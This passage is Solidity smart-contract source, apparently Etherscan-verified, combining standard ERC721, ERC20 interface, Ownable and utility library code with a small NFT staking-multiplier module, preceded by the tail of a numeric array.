1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-22
*/
// SPDX-License-Identifier: MIT
/*
@author/dev [email protected] of Co-Labs LLC. www.co-labs.studio
*/
pragma solidity ^0.8.7;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @dev Implementation of the {IERC721Receiver} interface.
*
* Accepts all token transfers.
* Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.
*/
contract ERC721Holder is IERC721Receiver {
/**
* @dev See {IERC721Receiver-onERC721Received}.
*
* Always returns `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overridden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Repurposing of Ownable to give/remove access to/from specific contracts and associate a multiplier to them.
*/
abstract contract NFTContracts is Ownable {
mapping (address => bool) private stakeable;
mapping (address => uint) private multiplier;
mapping (address => uint) private oneOfMultipliersPerContract;
mapping(address => mapping(uint => bool)) private oneOfOnesPerContract;
function setStakeable(address _address, bool _bool, uint _multiplier) public onlyOwner {
stakeable[_address] = _bool;
multiplier[_address] = _multiplier;
}
function setOneOfOnes(address _address, uint _multiplier, uint[] memory _tokenIds) public onlyOwner {
oneOfMultipliersPerContract[_address] = _multiplier;
for(uint i = 0; i < _tokenIds.length; i++) {
oneOfOnesPerContract[_address][_tokenIds[i]] = true;
}
}
function isStakeable(address _address) public view returns (bool){
return stakeable[_address];
}
function getMultiplier(address _address, uint _tokenId) public view returns (uint){
uint _multiplier = multiplier[_address];
return oneOfOnesPerContract[_address][_tokenId] ? _multiplier * oneOfMultipliersPerContract[_address] : _multiplier;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
